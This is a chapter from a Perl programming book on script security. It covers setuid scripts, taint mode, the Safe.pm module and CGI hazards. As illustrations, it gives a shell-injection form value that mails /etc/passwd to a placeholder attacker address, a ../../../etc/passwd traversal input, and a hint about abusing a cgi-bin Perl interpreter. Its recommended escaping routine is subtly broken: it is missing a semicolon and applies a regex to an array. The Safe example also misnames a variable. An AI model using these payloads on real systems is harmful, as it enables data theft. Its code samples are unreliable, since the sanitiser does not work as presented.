This chapter addresses the security issues involved in writing Perl scripts. Topics addressed in this chapter include writing setuid programs, tainted variables, and using existing modules for use with Internet applications.
I feel like Chicken Little when discussing potential security problems with Perl scripting. The potential problems discussed here are hard to have all reside on one system. Also, a hacker has to be really interested in your system (and malicious enough) to really want to blow it away. However, being paranoid is better than being lax about security, and having that one little hole can cause you to lose your hard disk. There are a few weirdos out there who get a kick out of obliterating other folks' data. Sometimes exceedingly bright people commit the most idiotic acts.
Chances are that you'll not get hit, but a few precautionary steps will not hurt. If you are a system administrator for a large institution or university, your job is especially hard. The greater the number of users on your system, the more likely you are to find someone attempting to break into your system. There are some things you can do such as running a find command every day to check whether there are setuid executable scripts on your system's /home directory. Please check the references at the end of this chapter for books with more information about keeping your site secure.
Finally, this chapter is slanted towards Perl and CGI applications using UNIX. More problems exist with C programs, daemons, and so on with buffer overruns. Some reported problems even include harmful results such as wiping a disk clean when you download a PostScript file. For example, David Bonn reported in the Linux Journal that downloading a Crusty the Clown PostScript image wiped his hard disk clean. The offending commands were part of a buffer overrun in his PostScript viewer.
I will get off the soapbox now.
A setuid script runs at the level of the owner, not the calling program. In other words, if a script has its suid bit set, it runs as root, even if it is being called by a non-root program. In almost all cases, setuid scripts are bad news, a big security hole, and potentially dangerous for your system. Most administrators write setuid scripts when they want to grant limited access to secure files or devices. In most cases, these scripts are not necessary, and in my humble opinion, should be written as compiled programs.
Calling scripts from within programs running as root is a very big security hole in any system. For example, let's say a program running as root calls a Perl script called diskme.pl in the /usr/bin directory, or worse, in an area that is accessible by users other than root. When the program running as root executes diskme.pl, the code in diskme.pl is also run with root privileges. If the diskme.pl has permissions that allow it to be edited or overwritten, hackers could write their own version of diskme.pl and place it where the root program expects it to be. When the original root program calls diskme.pl, it will execute the rogue program instead of the original one.
One common way to avoid problems like this one is to use absolute pathnames instead of relative pathnames. Using relative pathnames opens your setuid script to unsafe links to rogue files. An absolute path defines a complete path to the executable program. For example, /home/khusain/scripts/test.pl will always run the program test.pl in the /home/khusain/scripts directory. The forward slash (/) in the pathname is used to specify the complete pathname. If the forward slash were left out, that is, the name of the program was specified as home/khusain/scripts/test.pl, the program loads test.pl from a subdirectory under ./home/khusain/scripts. Thus, it uses a path relative to its current location. It would be easy to move the privileged program that calls the test.pl file over to another directory, create a subdirectory path home/khusain/scripts in this new location and place my own version of test.pl in there. Now the privileged program will call my version of test.pl!
Another route to take for security reasons is to minimize the time required to be root. Just because your script has to access some portions of some data as root does not mean that the entire application has to run as root. Just make a small, difficult-to-alter Perl script that runs as root and leave the rest in an unprivileged script.
Let me reiterate once more: setuid scripts are insecure. Regardless of how many precautions you take, having a Perl script that may be influenced by its environment is asking for trouble. If you can avoid writing setuid scripts, do so.
Perl inherently has more features than most shells such as Bourne, Korn, or Bash. Network, file system manipulation and binary file access features built into Perl have to be mimicked through the use of other external programs in shell scripts. When the setuid shell calls these external programs, they are opened to potential problems because external programs can be replaced with less secure imitations. Perl does not use such external programs because the features required by Perl are built into itself. This would lead you to think that Perl scripts are more secure than shell scripts. On the contrary, Perl is not as secure as you think it is. Read on.
First of all, use the use strict; statement whenever possible in your Perl scripts. Using the strict pragma forces Perl to do strict type checking, prevents strings from becoming variables, and points out any dangling variables. Using strict forces you to use the my keyword when declaring local variables. This, in turn, limits the scope of declared variables from being destroyed accidentally by other subroutines in the system.
Even without strict type checking, the Perl interpreter is more efficient and security conscious than a shell. Shell script lines are parsed more times per line than are lines of code in a Perl script. Perl code can be further tightened to check for potential problems or funny use of references by enabling the -w switch at the command line for the Perl interpreter. (The -w switch turns on warnings.)
Perl also supports the use of and recognizes "tainted" variables. In Perl, any command-line argument, environment variable, or input explicitly marked as tainted will not be used in subshells. Tainted variables cannot be used in any commands that modify the file and dir-ectory structure on the client on which the application happens to be running. In fact, if a new value is derived from a tainted value, the new value is also marked as tainted. This way tainted variables cannot create a non-tainted variable. Once a bad egg, always a bad egg! No mercy here.
Also, the "taintedness" of a variable is applied on a Perl scalar basis. Arrays and hashes can contain both tainted and untainted variables at one time. Perl checks for improper use of tainted variables if the -T flag is set. So when in doubt, run with the -T option. Your header comment line will then look like this:
#!/usr/local/bin/perl -T
Here's a checklist to use to see whether a variable is tainted. If you answer even one yes to any of the following questions, the variable is most likely tainted:
As you begin to use Perl scripts, you can see how variables can be tainted and how system files can be corrupted by using potentially dangerous variable paths. Of course, testing and being a little on the paranoid side does help in flushing out security holes. Ask yourself this question when testing scripts for security violations: If I were a hacker, is there any way I can use this script to break into my system?
The first thing to do when making a Perl script secure is to set the effective user and group ids to the same as the real user and group ids of the process. This is done with the following lines, which should be placed before any calls that manipulate files or directories:
$> = $< # set effective user Ids to real id.
$) = $( # set group id to real id.
Next, make sure that you reset at least these two environment variables to a known value:
$ENV{'PATH'} = '/bin:/usr/bin';
$ENV{'IFS'} = '' if $ENV{'IFS'} ne '';
Force the path to a known value so that unknown programs cannot be inserted and executed from writable locations in the path. The IFS field is set to a null value to prevent any misuse of inter-field characters.
Another thing to do is to explicitly create your own strings rather than use strings expanded by the shell. If you are making a call to exec, pass each argument explicitly, not as a complete string that could have been tainted by the caller's shell program. For example, avoid the use of a statement like this:
exec 'myprog @arglist';
Instead, use statements like this one:
exec 'myprog', 'arg1', 'arg2', 'arg3';
This prevents someone from sending more than one argument to a program. You can use the Perl system(), which like exec(), calls without invoking a shell by supplying more than one argument:
system('/usr/bin/ls', '-a');
Pipes are a potential leak in systems, as well. You can use the open() call to get the same functionality as popen() (but without starting a shell) with a call of the form:
open(FH, '|-') || exec("program", $arg1, $arg2);
Finally, whenever you are dealing with pathnames, be sure to check for the .. component. The seemingly safe line to get man pages via HTML pages can be exploited, too. Consider this line:
open(MANPAGE, "/usr/man/man1/$filename$section");
You can get to the password file if the user-supplied filename has $filename set to ../../../etc/passwd and $section = " ". Check to see whether the filename has .. in it for abuse at the server side. Don't process filenames that make you traverse upwards. Use explicit, full pathnames wherever possible.
There is a time lag between the point where a kernel determines whether a script is setuid and the time the Perl interpreter executes the script. The script could be a symbolic link and therefore can be modified during this time interval. It's hard to do, but not impossible.
Some kernels do not allow setuid scripts, period. This is somewhat too limiting in most systems because such a blanket order prevents you from doing even legitimate tasks. The other route is to simply ignore the setuid bit setting in the kernel and run only at user level. You can still use the built-in Perl mechanism to emulate the setuid behavior. However, if the kernel allows you to run setuid scripts as root, and the bit is set, Perl will display a warning message about security. At this point, either disable the Perl script or call it from a C program.
The Perl Safe.pm module is written by Malcolm Beattie (mbeattie@sable.ox.ac.uk) and is designed to test Perl code to see how it will work in the real world. The Safe extension module creates two "compartments" in which code can be tested. A compartment is simply a known environment that does not allow system access.
A compartment has a name space other than main::. Any variables declared in the new name space cannot access variables outside this name space. Added to this name space wrapper is the notion of an operator mask. Basically, an operator mask is an array of elements, each with a value of 0 or 1, indicating which operators Perl can use and which operators it cannot use. Therefore, most global variables are shielded from the wrapped section of code in a Safe object.
The special variables $_, @_, _, and %_ are still available to the wrapped section of code. In fact, these special variables are also shared between different enclosed name spaces. The requirement to allow these variables to be shared is necessary to allow parameter passing between subroutines in a wrapped code section.
To use the Safe class, you have to take the following steps:
A new compartment is created using a new Safe object. Both arguments to the call to create a Safe object are optional in the syntax shown here:
$cpt = new Safe( $namespace, $mask );
where $namespace is the root name space to use instead of main::. If you do not specify this name space, the default name of Safe::Root000000000 is used. The zeroes in the number portion of the default name space are incremented on the creation of every new name space object. This way you can have separate name spaces for separate modules.
The operator mask to use is simply an array of MAXO integers. The value of MAXO is the number of operators in your Perl interpreter. Each element of the array maps to a Perl operator and has the value of 0 or 1. If an element is 1, the Perl operator is not permitted to execute; a value of 0 for an element allows Perl to execute that operator. Therefore, by judiciously setting the mask elements, you can specify which commands to execute in your Perl program.
The default value of the operator mask removes all system and file operations. Therefore, by default, you cannot create, write to, or remove files and directories. Interprocess communication operations are not permitted either. However, input/output operations via pipes and reading from stdin and writing to stdout are permitted. Any file handles passed into the file handle are considered secure and any operations on handles that are already opened are also allowed.
The Safe module file contains routines for mapping operator names into the operator mask and back. Once you have the object, you can perform the following operations on it:
$namespace = $secure->root() # returns the namespace
To set the name space to a new value, pass the name in the argument list:
$newName = "krago"
$secure->root($newName);
The mask can be retrieved and reset using the following method from outside the wrapped code. The following code disallows all shared memory operations, but allows any messaging facilities:
require Safe;
$secure = new Safe;
@defMask = $secure->mask(); # get the mask
$secure->trap(OP_SHMGET,OP_SHMCTL,OP_SHMREAD,OP_SHMWRITE);
$secure->untrap(OP_MSGCTL,OP_MSGGET,OP_MSGSND,OP_MSGRCV);
$secure->mask(@defmask);
open(DBFILE,'myCredit.File') || die " Whoa! Canna open Kaptain!";
sub safecode {
#
# Open database and do credit card transaction.
#
while (<DBFILE>)
{
print $_;
}
}
$secure->share('&safecode', DBFILE);
The trap() and untrap() methods force the Safe package to trap and untrap instructions, respectively. The names of the operators available to your program are listed in the opcode.pl and opcode.h. The share() method makes the values specified in the argument list available to the compartment's code. Therefore, the variables and statements in the safecode subroutine are made available to the compartment. In the safecode compartment (shown previously), the DBFILE handle can be used in the subroutine safecode to retrieve the data.
The Safe package also contains utility subroutines for modifying name spaces and masks. To create a mask by giving a list of operator names, use the ops_to_mask() function, which returns a mask with only those masked operators that appear in the function's argument list. For example, to return a mask with only OP_SETPRIORITY masked, use this call:
@mymask = ops_to_mask(OP_SETPRIORITY);
The inverse of this call is to get a list of operator names given an operator mask: mask_to_ops (MASK). The names returned are those variables that are masked for the package. The function fullmask() returns all ones and emptymask() returns all zeros. The function MAXO() returns the number of operators in this version of Perl.
CGI scripts are written in Perl mainly because of Perl's string handling feature, as well as other powerful features. It's important to discuss CGI security issues when using Perl.
A point to note about CGI scripts (which are more than likely to be written in Perl): Most httpd daemons run as user "nobody" and do not change the uid to the CGI script's owner. Some daemons use a program called CGIwrap, which provides a safer way to change user IDs. The latest version of CGIwrap can be found with full documentation and source and installation instructions at the following address:
http://wwwcgi.umr.edu/~cgiwrap
In any event, do not allow your CGI files the capability to write to a file by giving write access to a "nobody" user. Close your eyes and think of the entire sunsite archive on your disk choking it to death. Whatever you do, never make CGI scripts setuid, period. setuid scripts have many more security holes than do normal CGI scripts and are much more easily accessed from the rest of the world.
The easiest way to exploit setuid scripts is by modifying any used environment variables. Old versions of Perl used to call the csh to process globs of the form <*.c> in eval statements. Providing your own version of csh for the Perl interpreter could get you running as root.
Finally, the biggest faux pas of all is to place perl.exe in your cgi-bin directory. Do not do this! Putting your Perl.exe program in a globally executable area is unforgivable because all you have to do is change the top line of every Perl CGI script to point to Perl.
If you see a site being accessed via a URL as
http://somewhere.com/cgibin/perl.exe?dothis.pl
you know you are dealing with someone who is not concerned about potentially running any script on his or her computer. How to do this is left as an exercise for the reader. (Hint: try to recall the command-line arguments to Perl.) Actually, some newsgroups have had messages posted on them that indicate the regular search engines like Alto Vista hunt down sites with gaping chasms in security.
A common mistake in Perl is to use the following line in a cgi-script:
system("/usr/sbin/sendmail -t $returnAddress < $data");
The system call shown above is sending contents of $data back to the address provided for by the variable $returnAddress. If both the values in $data and $returnAddress rely on environment variables, or worse yet, are in FORM field entries, you are opening your system up to a hacker who can supply the name of a valuable file in $data. A hacker will be then able to return anything, including password files, with this hole. On the hacker's side the command will set the VALUE of the request to something like this:
VALUE="khusain@ikra.com;mail nosy@devil.com </etc/passwd"
In Perl, the system command is not the only command that will fork off a shell. Using exec, eval, pipes, or backticks will do the same operation for you. The eval statement is potentially dangerous because it's the easiest to bypass, even with the -T tainting checking flag turned on in Perl.
When sending mail, don't use system() calls. Rather, open a handle to sendmail directly. For example, use the following set of statements instead of a system call:
open(MAIL, "|/usr/lib/sendmail -t");
print MAIL "To: $myfriend\n";
...
close(MAIL);
Note the use of sendmail, not mail, in this example. The mail program has a bug in it that allows you to execute commands by preceding them with a tilde (~). The bug has been fixed on newer systems, but can be a potential threat if your system is not up-to-date.
Finally, it's also known that some programs exploit escape characters in UNIX to run commands. Some of these potentially dangerous escape characters are the semicolon (for continuing commands), the tilde (~), the at sign (@ in mail fraud), the bang operator (!), and so on. You should just prepend the escape characters with the backslash, thus rendering these escape characters useless for the first pass through the eval() in Perl:
sub sanctify {
# will change, for example, user!sh to user\!sh
my @a = @_
@a =~ s/([;<>\*\|`&\$!#\(\)\[\]\{\}:'"])/\\$1/g;
return @a;
}
The solution will only catch and replace those characters shown here. You should look at your system closely to see what other characters may cause potential problems.
The following texts will provide you with more information about security and Perl scripts. Please remember that this is only a partial list:
Security issues are becoming increasingly important in the computing world today. As more computers go online, more machines are being opened up for attacks by hackers, especially because more CGI scripts are written in Perl. Use the -T taint feature in Perl 5. Use the Safe.pm module if you can. Also, never place perl.exe in the cgi-bin directory and never let your Perl scripts run off a shell command that cannot be written to. Remember that keeping Perl scripts secure in CGI environments is an ongoing issue.